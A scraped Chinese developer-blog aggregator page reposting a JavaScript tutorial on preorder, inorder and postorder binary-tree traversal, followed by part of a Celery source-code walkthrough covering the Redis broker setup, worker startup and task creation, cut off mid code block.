cd nodejs-debugging
# npm i -g yarn
yarn install

最后可以持续关注我@若川。我倾力持续组织了一年每周大家一起学习200行左右的源码共读活动,感兴趣的可以点此扫码加我微信 ruochuan02 参与。

另外,想学源码,极力推荐关注我写的专栏《学习源码整体架构系列》,目前是掘金关注人数(4.2k+人)第一的专栏,写有20余篇源码文章。包含jQuery、underscore、lodash、vuex、sentry、axios、redux、koa、vue-devtools、vuex4、koa-compose、vue 3.2 发布、vue-this、create-vue、玩具vite、create-vite 等20余篇源码文章。


关于 && 交流群

作者:常以若川为名混迹于江湖。欢迎加我微信ruochuan02。前端路上 | 所知甚少,唯善学。

关注公众号若川视野,每周一起学源码,学会看源码,进阶高级前端。

若川的博客

segmentfault若川视野专栏,开通了若川视野专栏,欢迎关注~

掘金专栏,欢迎关注~

知乎若川视野专栏,开通了若川视野专栏,欢迎关注~

github blog,求个star^_^~

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

二叉树遍历(五-最终篇)

发表于 2021-11-15

这是我参与11月更文挑战的第5天,活动详情查看:2021最后一次更文挑战

前言

  • 啦啦啦,小嘟又和大家见面啦,今天小嘟要和大家聊得话题是二叉树三种遍历方式在代码方面的异同。
  • 涉及的对象:二叉树
  • 涉及的内容: (1)前序遍历 (2)中序遍历 (3)后序遍历(4) 如何形象的理解遍历方式
  • 涉及的代码:递归代码和迭代代码
  • 重点:找到一种框架适合这三种遍历方式

正文

  • 首先我们将下边这个二叉树的三种遍历结果写出来:image.png
  • 前序遍历:[1,2,4,5,3,6]
  • 中序遍历:[4,2,5,1,3,6]
  • 后序遍历:[4,5,2,6,3,1]
  • 注:讲几个很形象的例子,你就能很快的手写出这三种遍历顺序(这里的例子借鉴的是一篇很nice的博客,感觉很适合小白,原文链接小嘟就放在底部喽,需要的读者可以去看看,这个博主比小嘟厉害多了)
  • 1.前序遍历
+ 前序遍历,你可以理解成从根节点出发,以逆时针方向前进,将所有结点都遍历一遍![image.png](https://gitee.com/songjianzaina/juejin_p9/raw/master/img/7708c8d453d0c1e6db47bdefb46d73d6dde7d0bfe2307fafe2ff913b499ed878)
+ 前序遍历递归代码

1
2
3
4
5
6
7
8
9
10
11
12
scss复制代码var preorderTraversal = function(root) {
let res = [];//最后返回的数组,存储的是遍历的序列
//这里用到了es6中的箭头函数
const traversal = (root01)=>{ //如果当前结点为null,
if(root01 == null) return ;//说明这条路径走到尽头了,需要重新找路
res.push(root01.val); //将遇到的打印,这里是存储哦
traversal(root01.left); //找左孩子
traversal(root01.right); //找右孩子
}
traversal(root);
return res;//返回值
};
+ 小嘟稍微解释一下,看着代码,我们知道,只要遇到元素,就会将它打印(这里是存储),然后进入自己的左子树,一直递归调用下去,等左子树为null了,递归开始一层一层的往上返回,每返回一层,然后接着进入自己的右子树,进入右子树,也是先进入右子树中的左子树,以此类推,等所有的都找完了,递归函数的层级减为1(此时我们可以理解成,我们是从根节点出去的,这个时候又回到根节点啦)。此处我们验证了上边的遍历顺序是正确的,`但是`,这只是个思想,不能认为遍历顺序一定是这样的,在`迭代代码`中,就`没有9、10这两步`。
  • 2.中序遍历
+ 中序遍历,可以这样思考,将所有结点垂直投影在底部,`例如`,我们建立一个二维坐标系,横轴为x,纵轴为y,将上边的图搬到该坐标系上,在x轴上得投影就是中序遍历的结果,这个应该比一个一个数快的多啦。 ![image.png](https://gitee.com/songjianzaina/juejin_p9/raw/master/img/b373a3f804b76f2c06abccb47ca2ef449d0f8a24dc701c0d01f65225b7f9d42a)
+ 看图是不是很直观呢?嘿嘿嘿,学会就行,小嘟很是希望读者看一眼就会,加油!!!
+ 中序遍历递归代码

1
2
3
4
5
6
7
8
9
10
11
ini复制代码var inorderTraversal = function(root) {
let res = [];//要返回的数组
const traversal = (root01)=>{//es6中的箭头函数
if(root01 == null) return ;
traversal(root01.left);
res.push(root01.val);
traversal(root01.right);
}
traversal(root);
return res;
};
+ 中序遍历顺序基本和前序遍历差不多,不同点是打印的位置放在了中间,这也是为什么将这种遍历方式称为中序遍历。
  • 3.后序遍历
+ 后序遍历的话你可以把这个理解成是一串葡萄,并且我们规定`每次摘葡萄只能摘一颗,不能贪心,而且规定从左往右(也就是先遍历左子树再遍历右子树)摘葡萄`。现在看下图的摘葡萄过程,是不是觉得后序遍历其实也就是那一回事![image.png](https://gitee.com/songjianzaina/juejin_p9/raw/master/img/a0de115458964311e349fe1ea666205d23219f7087ddf62447b5b77a565f067c)
+ 后序遍历递归代码



1
2
3
4
5
6
7
8
9
10
11
scss复制代码var postorderTraversal = function(root) {
let res = [];//要返回的数组
const traversal = (root01)=>{
if(root01 == null) return;//找到尽头,需要另换路
traversal(root01.left);//遍历左子树
traversal(root01.right);//遍历右子树
res.push(root01.val);//左右子树遍历结束就只剩中间喽!
}
traversal(root);
return res;
};
+ 现在看递归代码,你会发现,它们三者的代码竟然如此的相似,小嘟我都不知所错了,`心里开心的想着`:那我要是会了一种,那另外两种不也就拿捏勒,嘿嘿嘿。
  • 4.递归代码总结篇
+ 综上知,我们可以发现三者的递归代码相似程度非常高,难怪别人问的时候只问一次(另外两个很好推啊)。
+ 小嘟来说说代码之间的差异


    - `小嘟自信的说`:`(1)`打印的位置是不一样的 ,一个在最前边,一个在中间,一个在最后。
    - `(2)`它们的递归调用函数的顺序是一样的(这个请读者画一下,自己也画了一下,不画也可以,你看代码,除了push位置不同其他的都一样)。
    - `小嘟楠楠的说`:然后也就没什么了。
+ 现在来一个框架,以后直接用就可以啦!



1
2
3
4
5
6
7
8
9
10
11
12
13
scss复制代码var postorderTraversal = function(root) {
let res = [];//要返回的数组
const traversal = (root01)=>{
if(root01 == null) return;//找到尽头,需要另换路
//@key1处
traversal(root01.left);//遍历左子树
//@key2处
traversal(root01.right);//遍历右子树
//@key3处
}
traversal(root);
return res;
};
+ `前序遍历`:在`@key1`处编写打印或者存储代码 + `中序遍历`:在`@key2`处编写打印或者存储代码 + `后序遍历`:在`@key3`处编写打印或者存储代码
  • 5.迭代代码总结篇
+ `前序遍历`:



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ini复制代码var preorderTraversal = function(root) {
let res = [];//最后返回的数组,存储的是遍历的序列
let stack = [];//循环过程中遇到的结点信息
while(root || stack.length){
while(root){
res.push(root.val); //将遇到的打印,这里是存储哦
stack.push(root); // 这里你可以理解成,该结点还要记着怎样找到
// 自己的右孩子。
root = root.left; //找左孩子
}
let node = stack.pop(); //找不到左孩子了,那就要找该结点的右孩子啦
root = node.right; //找右孩子
}
return res;
};
+ `中序遍历`:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ini复制代码var inorderTraversal = function(root) {
let res = [];//最后要返回的数组
let stack = [];//我们用来存储遍历过程中遇到的元素
//root == null 并且 stack.length == 0(循环退出)
while(root||stack.length){
while(root){//当前元素存在就循环
stack.push(root);//把当前元素入栈,不是入的值,而是当前的整个元素
root = root.left;//继续找它的左孩子
}
//该元素没有左孩子,那么我们就应该打印该元素
let node = stack.pop();//返回该元素并出栈
res.push(node.val);//将该元素的值压入要返回的栈里边
root = node.right;//遍历该元素的右孩子
//因为左边和中间(父结点)已经遍历过了
}
return res;//返回最终的结果
};
+ `后序遍历`:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ini复制代码var postorderTraversal = function(root) {
let res = [];//最后要返回的数组
let stack = [];//遍历过程中遇到的元素结点
while(root || stack.length){
while(root){
res.unshift(root.val);//这个是数组的一个方法
//可以理解成头插法,往首部插入
stack.push(root);
root = root.right;
}
let node = stack.pop();
root = node.left;
}
return res;
};
+ 它们之间的差异小嘟在之前的几篇文章中都一一讲过了,读者迷惑的话欢迎阅读。`嘿嘿嘿`(小嘟会把链接放在文章的`最下边`),现在直接上框架
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ini复制代码var preorderTraversal = function(root) {
let res = [];//最后返回的数组,存储的是遍历的序列
let stack = [];//循环过程中遇到的结点信息
while(root || stack.length){
while(root){
//@key1处、@key2处
stack.push(root); // 这里你可以理解成,该结点还要记着怎样找到
// 自己的右孩子。
root = root.left; //找左孩子
}
let node = stack.pop(); //找不到左孩子了,那就要找该结点的右孩子啦
@key3处
root = node.right; //找右孩子
}
return res;
};
+ `前序遍历`:在`@key1`处编写打印或者存储代码 + `中序遍历`:在`@key3`处编写打印或者存储代码 + `后序遍历`:在`@key2`处编写存储代码 - `注`: * (1).这里不能直接打印哦,因为我们是`倒着找的结点` * (2).需要改代码,`第一处`,root = `root.left`改为root = `root.right` * (3).`第二处`,root = `node.right` 改为 root = `node.left` **结尾**
  • 到今天为止,关于二叉树的三种遍历方法就完美收官了,谢谢各位读者阅读。
  • 文章字数较多,小嘟难免会手抖(嘿嘿嘿),so,欢迎各位批评指正。
  • 创作不易,小嘟这个周末把时间都花在上边了(呜呜呜),周日晚上23:32才完成,所以如果读者还觉得不错的话,可以给小嘟点赞、评论、关注支持一波,小嘟会继续努力下去的。
  • 若读者想让小嘟写某一方面的内容,欢迎评论,小嘟会尽力去做的(要是实在不会,那小嘟只能认错啦)。
  • 最后,祝大家看完该文章有所收获,我们下期再见。
    溜啦溜啦...

附件

  • 二叉树前序遍历 juejin.cn/post/702968…
  • 二叉树中序遍历
+ 递归版[juejin.cn/post/702748…](https://dev.newban.cn/7027482621089153038)
+ 迭代版[juejin.cn/post/702774…](https://dev.newban.cn/7027747932711419935)
  • 二叉树后序遍历 juejin.cn/post/702911…
  • 文章例子参考blog.csdn.net/chinesekobe…

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

神器 celery 源码解析 - 5

发表于 2021-11-15

大家好,我是肖恩,源码解析每周见

Celery是一款非常简单、灵活、可靠的分布式系统,可用于处理大量消息,并且提供了一整套操作此系统的工具。Celery 也是一款消息队列工具,可用于处理实时数据以及任务调度。

本文是是celery源码解析的第五篇,在前4篇里分别介绍了vine, py-amqp和kombu:

  1. 神器 celery 源码解析- vine实现Promise功能
  2. 神器 celery 源码解析- py-amqp实现AMQP协议
  3. 神器 celery 源码解析- kombu,一个python实现的消息库
  4. 神器 celery 源码解析- kombu的企业级算法

基本扫清celery的基础库后,我们正式进入celery的源码解析,本文包括下面几个部分:

  • celery应用示例
  • celery项目概述
  • worker启动流程跟踪
  • client启动流程跟踪
  • celery的app
  • worker模式启动流程
  • 小结

celery应用示例

启动celery之前,我们先使用docker启动一个redis服务,作为broker:

1
arduino复制代码$ docker run -p 6379:6379 --name redis -d redis:6.2.3-alpine

使用telnet监控redis服务,观测任务调度情况:

1
2
3
4
5
6
sql复制代码$ telnet 127.0.0.1 6379
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
monitor
+OK

下面是我们的celery服务代码 myapp.py :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python复制代码# myapp.py
from celery import Celery

app = Celery(
'myapp',
broker='redis://localhost:6379/0',
result_backend='redis://localhost:6379/0'
)

@app.task
def add(x, y):
print("add", x, y)
return x + y

if __name__ == '__main__':
app.start()

打开一个新的终端,使用下面的命令启动celery的worker服务:

1
ruby复制代码$ python myapp.py worker -l DEBUG

正常情况下,可以看到worker正常启动。启动的时候会显示一些banner信息,包括AMQP的实现协议,任务等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sql复制代码$ celery -A myapp worker -l DEBUG

-------------- celery@bogon v5.1.2 (sun-harmonics)
--- ***** -----
-- ******* ---- macOS-10.16-x86_64-i386-64bit 2021-09-08 20:33:45
- *** --- * ---
- ** ---------- [config]
- ** ---------- .> app: myapp:0x7f855079e730
- ** ---------- .> transport: redis://localhost:6379/0
- ** ---------- .> results: disabled://
- *** --- * --- .> concurrency: 12 (prefork)
-- ******* ---- .> task events: OFF (enable -E to monitor tasks in this worker)
--- ***** -----
-------------- [queues]
.> celery exchange=celery(direct) key=celery


[tasks]
. myapp.add

[2021-09-08 20:33:46,220: INFO/MainProcess] Connected to redis://localhost:6379/0
[2021-09-08 20:33:46,234: INFO/MainProcess] mingle: searching for neighbors
[2021-09-08 20:33:47,279: INFO/MainProcess] mingle: all alone
[2021-09-08 20:33:47,315: INFO/MainProcess] celery@bogon ready.

再开启一个终端窗口,作为client执行下面的代码, 可以看到add函数正确的执行,获取到计算 16+16 的结果 32。注意: 这个过程是远程执行的,使用的是delay方法,函数的打印print("add", x, y)并没有输出:

1
2
3
4
5
6
7
python复制代码$ python
>>> from myapp import add
>>> task = add.delay(16,16)
>>> task
<AsyncResult: 5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b>
>>> task.get()
32

在celery的worker服务窗口,可以看到类似下面的输出。收到一个执行任务 myapp.add 的请求, 请求的uuid是 5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b ,参数数组是 [16, 16] 正常执行后返回结果32。

1
2
3
css复制代码[2021-11-11 20:13:48,040: INFO/MainProcess] Task myapp.add[5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b] received
[2021-11-11 20:13:48,040: DEBUG/MainProcess] TaskPool: Apply <function fast_trace_task at 0x7fda086baa60> (args:('myapp.add', '5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b', {'lang': 'py', 'task': 'myapp.add', 'id': '5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b', 'shadow': None, 'eta': None, 'expires': None, 'group': None, 'group_index': None, 'retries': 0, 'timelimit': [None, None], 'root_id': '5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b', 'parent_id': None, 'argsrepr': '(16, 16)', 'kwargsrepr': '{}', 'origin': 'gen63119@localhost', 'ignore_result': False, 'reply_to': '97a3e117-c8cf-3d4c-97c0-c0a76aaf9a16', 'correlation_id': '5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b', 'hostname': 'celery@localhost', 'delivery_info': {'exchange': '', 'routing_key': 'celery', 'priority': 0, 'redelivered': None}, 'args': [16, 16], 'kwargs': {}}, b'[[16, 16], {}, {"callbacks": null, "errbacks": null, "chain": null, "chord": null}]', 'application/json', 'utf-8') kwargs:{})
[2021-11-11 20:13:49,059: INFO/ForkPoolWorker-8] Task myapp.add[5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b] succeeded in 1.0166977809999995s: 32

在redis的monitor窗口,也可以可以看到类似的输出,展示了过程中一些对redis的操作命令:

1
2
3
4
5
6
7
swift复制代码+1636632828.304020 [0 172.16.0.117:51127] "SUBSCRIBE" "celery-task-meta-5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b"
+1636632828.304447 [0 172.16.0.117:51129] "PING"
+1636632828.305448 [0 172.16.0.117:51129] "LPUSH" "celery" "{\"body\": \"W1sxNiwgMTZdLCB7fSwgeyJjYWxsYmFja3MiOiBudWxsLCAiZXJyYmFja3MiOiBudWxsLCAiY2hhaW4iOiBudWxsLCAiY2hvcmQiOiBudWxsfV0=\", \"content-encoding\": \"utf-8\", \"content-type\": \"application/json\", \"headers\": {\"lang\": \"py\", \"task\": \"myapp.add\", \"id\": \"5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b\", \"shadow\": null, \"eta\": null, \"expires\": null, \"group\": null, \"group_index\": null, \"retries\": 0, \"timelimit\": [null, null], \"root_id\": \"5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b\", \"parent_id\": null, \"argsrepr\": \"(16, 16)\", \"kwargsrepr\": \"{}\", \"origin\": \"gen63119@localhost\", \"ignore_result\": false}, \"properties\": {\"correlation_id\": \"5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b\", \"reply_to\": \"97a3e117-c8cf-3d4c-97c0-c0a76aaf9a16\", \"delivery_mode\": 2, \"delivery_info\": {\"exchange\": \"\", \"routing_key\": \"celery\"}, \"priority\": 0, \"body_encoding\": \"base64\", \"delivery_tag\": \"20dbd584-b669-4ef0-8a3b-41d19b354690\"}}"
+1636632828.307040 [0 172.16.0.117:52014] "MULTI"
+1636632828.307075 [0 172.16.0.117:52014] "ZADD" "unacked_index" "1636632828.038743" "20dbd584-b669-4ef0-8a3b-41d19b354690"
+1636632828.307088 [0 172.16.0.117:52014] "HSET" "unacked" "20dbd584-b669-4ef0-8a3b-41d19b354690" "[{\"body\": \"W1sxNiwgMTZdLCB7fSwgeyJjYWxsYmFja3MiOiBudWxsLCAiZXJyYmFja3MiOiBudWxsLCAiY2hhaW4iOiBudWxsLCAiY2hvcmQiOiBudWxsfV0=\", \"content-encoding\": \"utf-8\", \"content-type\": \"application/json\", \"headers\": {\"lang\": \"py\", \"task\": \"myapp.add\", \"id\": \"5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b\", \"shadow\": null, \"eta\": null, \"expires\": null, \"group\": null, \"group_index\": null, \"retries\": 0, \"timelimit\": [null, null], \"root_id\": \"5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b\", \"parent_id\": null, \"argsrepr\": \"(16, 16)\", \"kwargsrepr\": \"{}\", \"origin\": \"gen63119@localhost\", \"ignore_result\": false}, \"properties\": {\"correlation_id\": \"5aabfc0b-04b5-4a51-86b0-6a7263e2ef3b\", \"reply_to\": \"97a3e117-c8cf-3d4c-97c0-c0a76aaf9a16\", \"delivery_mode\": 2, \"delivery_info\": {\"exchange\": \"\", \"routing_key\": \"celery\"}, \"priority\": 0, \"body_encoding\": \"base64\", \"delivery_tag\": \"20dbd584-b669-4ef0-8a3b-41d19b354690\"}}, \"\", \"celery\"]"
...

我们再一次回顾下图,对比一下示例,加强理解:

hello-world-example-routing

  • 我们先启动一个celery的worker服务作为消费者
  • 再启动一个窗口作为生产者执行task
  • 使用redis作为broker,负责生产者和消费者之间的消息通讯
  • 最终生成者的task,作为消息发送到远程的消费者上执行,执行的结果又通过网络回传给生产者

上面示例展示了celery作为一个分布式任务调度系统的执行过程,本地的任务调用,通过AMQP协议的包装,作为消息发送到远程的消费者执行。


celery项目概述

解析celery采用的代码版本5.0.5, 主要模块结构:

模块 描述
app celery的app实现
apps celery服务的三种主要模式,worker,beat和multi
backends 任务结果存储
bin 命令行工具实现
concurrency 各种并发实现,包括线程,gevent,asyncpool等
events 事件实现
worker 服务启动环节实现
beat.py&&schedules.py 定时和调度实现
result.py 任务结果实现
signals.py 一些信号定义
status.py 一些状态定义

从项目结构看,模块较多,功能复杂。不过我们已经搞定了vine, py-amqp和kombu三个库,接下来只需要理解worker,beat和multi三种服务模型,就可以较好的了解celery这个分布式系统如何构建。


worker启动流程跟踪

worker的启动命令 celery -A myapp worker -l DEBUG 使celery作为一个模块,入口在main文件的main函数:

1
2
3
4
5
6
7
8
python复制代码# ch23-celery/celery-5.0.5/celery/__main__.py
def main():
"""Entrypoint to the ``celery`` umbrella command."""
"""celery命令入口"""
...
# 具体执行的main函数
from celery.bin.celery import main as _main
sys.exit(_main())

celery命令作为主命令,加载celery-app的同时,还会启动worker子命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
python复制代码# ch23-celery/celery-5.0.5/celery/bin/celery.py
def celery(ctx, app, broker, result_backend, loader, config, workdir,
no_color, quiet, version):
"""Celery command entrypoint."""
...
ctx.obj = CLIContext(app=app, no_color=no_color, workdir=workdir,
quiet=quiet)
# worker/beat/events三个主要子命令参数
# User options
worker.params.extend(ctx.obj.app.user_options.get('worker', []))
beat.params.extend(ctx.obj.app.user_options.get('beat', []))
events.params.extend(ctx.obj.app.user_options.get('events', []))

def main() -> int:
"""Start celery umbrella command.

This function is the main entrypoint for the CLI.

:return: The exit code of the CLI.
"""
return celery(auto_envvar_prefix="CELERY")

在worker子命令中创建worker并启动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ini复制代码# ch23-celery/celery-5.0.5/celery/bin/worker.py
def worker(ctx, hostname=None, pool_cls=None, app=None, uid=None, gid=None,
loglevel=None, logfile=None, pidfile=None, statedb=None,
**kwargs):
# 创建和启动worker
worker = app.Worker(
hostname=hostname, pool_cls=pool_cls, loglevel=loglevel,
logfile=logfile, # node format handled by celery.app.log.setup
pidfile=node_format(pidfile, hostname),
statedb=node_format(statedb, hostname),
no_color=ctx.obj.no_color,
quiet=ctx.obj.quiet,
**kwargs)
worker.start()

下面是创建worker的方式,创一个 celery.apps.worker:Worker 对象:

1
2
3
4
ruby复制代码# ch23-celery/celery-5.0.5/celery/app/base.py
def Worker(self):
# 创建worker
return self.subclass_with_self('celery.apps.worker:Worker')

服务启动过程中,调用链路如下:

1
2
3
4
5
6
7
8
9
lua复制代码                                 +----------+
+--->app.celery|
| +----------+
+---------+ +----------+ |
|main.main+--->bin.celery+---+
+---------+ +----------+ |
| +----------+ +-----------+
+--->bin.worker+--->apps.worker|
+----------+ +-----------+

在这个服务启动过程中,创建了celery-application和worker-application两个应用程序。至于具体的启动流程,我们暂时跳过,先看看客户端的流程。


client启动流程分析

示例client的启动过程包括下面4步:
1 创建celery-application,
2 创建task
3 调用task的delay方法执行任务得到一个异步结果
4 最后使用异步结果的get方法获取真实结果

task是通过app创建的装饰器创建的Promise对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python复制代码# ch23-celery/celery-5.0.5/celery/app/base.py
task_cls = 'celery.app.task:Task'

def task(self, *args, **opts):
"""Decorator to create a task class out of any callable.
"""
def inner_create_task_cls(shared=True, filter=None, lazy=True, **opts):

def _create_task_cls(fun):

ret = PromiseProxy(self._task_from_fun, (fun,), opts,
__doc__=fun.__doc__)
return ret

return _create_task_cls
return inner_create_task_cls(**opts)

task实际上是一个由Task基类动态创建的子类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
kotlin复制代码def _task_from_fun(self, fun, name=None, base=None, bind=False, **options):
base = base or self.Task
task = type(fun.__name__, (base,), dict({
'app': self,
'name': name,
'run': run,
'_decorated': True,
'__doc__': fun.__doc__,
'__module__': fun.__module__,
'__annotations__': fun.__annotations__,
'__header__': staticmethod(head_from_fun(fun, bound=bind)),
'__wrapped__': run}, **options))
add_autoretry_behaviour(task, **options)
# 增加task
self._tasks[task.name] = task
task.bind(self) # connects task to this app
add_autoretry_behaviour(task, **options)
return task

任务的执行使用app的send_task方法进行:

1
2
3
4
5
6
7
8
9
ruby复制代码# ch23-celery/celery-5.0.5/celery/app/task.py
def delay(self, *args, **kwargs):
...
return app.send_task(
self.name, args, kwargs, task_id=task_id, producer=producer,
link=link, link_error=link_error, result_cls=self.AsyncResult,
shadow=shadow, task_type=self,
**options
)

可以看到,client作为生产者启动任务,也需要创建celery-application,下面我们就先看celery-application的实现。


celery的app两大功能

Celery的构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
ini复制代码class Celery:

# 协议类
amqp_cls = 'celery.app.amqp:AMQP'
backend_cls = None
# 事件类
events_cls = 'celery.app.events:Events'
loader_cls = None
log_cls = 'celery.app.log:Logging'
# 控制类
control_cls = 'celery.app.control:Control'
# 任务类
task_cls = 'celery.app.task:Task'
# 任务注册中心
registry_cls = 'celery.app.registry:TaskRegistry'
...

def __init__(self, main=None, loader=None, backend=None,
amqp=None, events=None, log=None, control=None,
set_as_current=True, tasks=None, broker=None, include=None,
changes=None, config_source=None, fixups=None, task_cls=None,
autofinalize=True, namespace=None, strict_typing=True,
**kwargs):
# 启动步骤
self.steps = defaultdict(set)
# 待执行的task
self._pending = deque()
# 所有任务
self._tasks = self.registry_cls(self._tasks or {})
...
self.__autoset('broker_url', broker)
self.__autoset('result_backend', backend)
...
self.on_init()
_register_app(self)

可以看到celery类提供了一些默认模块类的名称,可以根据这些类名动态创建对象。app对象任务的处理使用一个队列作为pending状态的任务容器,使用TaskRegistry来管理任务的注册。

任务通过task装饰器,记录到celery的TaskRegistry中:

1
2
3
4
5
6
7
ruby复制代码def task(self, *args, **opts):
...
# 增加task
self._tasks[task.name] = task
task.bind(self) # connects task to this app
add_autoretry_behaviour(task, **options)
...

celery另外一个核心功能是提供到broker的连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
python复制代码def _connection(self, url, userid=None, password=None,
virtual_host=None, port=None, ssl=None,
connect_timeout=None, transport=None,
transport_options=None, heartbeat=None,
login_method=None, failover_strategy=None, **kwargs):
conf = self.conf
return self.amqp.Connection(
url,
userid or conf.broker_user,
password or conf.broker_password,
virtual_host or conf.broker_vhost,
port or conf.broker_port,
transport=transport or conf.broker_transport,
ssl=self.either('broker_use_ssl', ssl),
heartbeat=heartbeat,
login_method=login_method or conf.broker_login_method,
failover_strategy=(
failover_strategy or conf.broker_failover_strategy
),
transport_options=dict(
conf.broker_transport_options, **transport_options or {}
),
connect_timeout=self.either(
'broker_connection_timeout', connect_timeout
),
)
broker_connection = connection

@cached_property
def amqp(self):
"""AMQP related functionality: :class:`~@amqp`."""
return instantiate(self.amqp_cls, app=self)

AMQP的实现,是依赖kombu提供的AMQP协议封装:

1
2
3
4
5
6
python复制代码from kombu import Connection, Consumer, Exchange, Producer, Queue, pools

class AMQP:
"""App AMQP API: app.amqp."""

Connection = Connection

然后使用我们熟悉的Queue,Consumer,Producer进行消息的生成和消费:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ini复制代码def Queues(self, queues, create_missing=None,
autoexchange=None, max_priority=None):
...
return self.Queues(
queues, self.default_exchange, create_missing,
autoexchange, max_priority, default_routing_key,
)

def TaskConsumer(self, channel, queues=None, accept=None, **kw):
...
return self.Consumer(
channel, accept=accept,
queues=queues or list(self.queues.consume_from.values()),
**kw
)

def _create_task_sender(self):
...
producer.publish(
body,
exchange=exchange,
routing_key=routing_key,
serializer=serializer or default_serializer,
compression=compression or default_compressor,
retry=retry, retry_policy=_rp,
delivery_mode=delivery_mode, declare=declare,
headers=headers2,
**properties
)
...

celery-app的两大功能,管理task和管理AMQP连接,我们有一个大概的了解。


worker模式启动流程

worker模式启动在WorkController中,将服务分成不同的阶段,然后将各个阶段组装成一个叫做蓝图(Blueprint)的方式进行管理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
python复制代码class WorkController:
# 内部类
class Blueprint(bootsteps.Blueprint):
"""Worker bootstep blueprint."""

name = 'Worker'
default_steps = {
'celery.worker.components:Hub',
'celery.worker.components:Pool',
'celery.worker.components:Beat',
'celery.worker.components:Timer',
'celery.worker.components:StateDB',
'celery.worker.components:Consumer',
'celery.worker.autoscale:WorkerComponent',
}

def __init__(self, app=None, hostname=None, **kwargs):
self.blueprint = self.Blueprint(
steps=self.app.steps['worker'],
on_start=self.on_start,
on_close=self.on_close,
on_stopped=self.on_stopped,
)
self.blueprint.apply(self, **kwargs)

启动蓝图:

1
2
3
4
5
6
7
8
9
10
11
12
13
python复制代码def start(self):
try:
# 启动worker
self.blueprint.start(self)
except WorkerTerminate:
self.terminate()
except Exception as exc:
logger.critical('Unrecoverable error: %r', exc, exc_info=True)
self.stop(exitcode=EX_FAILURE)
except SystemExit as exc:
self.stop(exitcode=exc.code)
except KeyboardInterrupt:
self.stop(exitcode=EX_FAILURE)

启动步骤,比较简单,大概代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
python复制代码class StepType(type):
"""Meta-class for steps."""

name = None
requires = None

class Step(metaclass=StepType):
...

def instantiate(self, name, *args, **kwargs):
return symbol_by_name(name)(*args, **kwargs)

def include_if(self, parent):
return self.enabled

def _should_include(self, parent):
if self.include_if(parent):
return True, self.create(parent)
return False, None

def create(self, parent):
"""Create the step."""

从Step大概可以看出:

  • 每个步骤,可以有依赖requires
  • 每个步骤,可以有具体的动作instantiate
  • 步骤具有树状的父子结构,可以自动创建上级步骤

比如一个消费者步骤, 依赖Connection步骤。启动的时候对Connection进行消费。两者代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
python复制代码class ConsumerStep(StartStopStep):
"""Bootstep that starts a message consumer."""

requires = ('celery.worker.consumer:Connection',)
consumers = None

def start(self, c):
channel = c.connection.channel()
self.consumers = self.get_consumers(channel)
for consumer in self.consumers or []:
consumer.consume()

class Connection(bootsteps.StartStopStep):
"""Service managing the consumer broker connection."""

def __init__(self, c, **kwargs):
c.connection = None
super().__init__(c, **kwargs)

def start(self, c):
c.connection = c.connect()
info('Connected to %s', c.connection.as_uri())

在Blueprint中创建和管理这些step:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
python复制代码class Blueprint:

def __init__(self, steps=None, name=None,
on_start=None, on_close=None, on_stopped=None):
self.name = name or self.name or qualname(type(self))
# 并集
self.types = set(steps or []) | set(self.default_steps)
...
self.steps = {}

def apply(self, parent, **kwargs):
steps = self.steps = dict(symbol_by_name(step) for step in self.types)

self._debug('Building graph...')
for S in self._finalize_steps(steps):
step = S(parent, **kwargs)
steps[step.name] = step
order.append(step)
self._debug('New boot order: {%s}',
', '.join(s.alias for s in self.order))
for step in order:
step.include(parent)
return self

启动Blueprint:

1
2
3
4
5
6
7
8
9
python复制代码def start(self, parent):
self.state = RUN
if self.on_start:
self.on_start()
for i, step in enumerate(s for s in parent.steps if s is not None):
self._debug('Starting %s', step.alias)
self.started = i + 1
step.start(parent)
logger.debug('^-- substep ok')

通过将启动过程拆分成多个step单元,然后组合单元构建成graph,逐一启动。


小结

本篇我们正式学习了一下celery的使用流程,了解celery如果使用redis作为broker,利用服务作为消费者,使用客户端作为生成者,完成一次远程任务的执行。简单探索worker服务模式的启动流程,重点分析celery-application的管理task和管理连接两大功能实现。

小技巧

celery中展示了一种动态创建类和对象的方法:

1
2
3
4
5
6
7
8
9
10
kotlin复制代码task = type(fun.__name__, (Task,), dict({
'app': self,
'name': name,
'run': run,
'_decorated': True,
'__doc__': fun.__doc__,
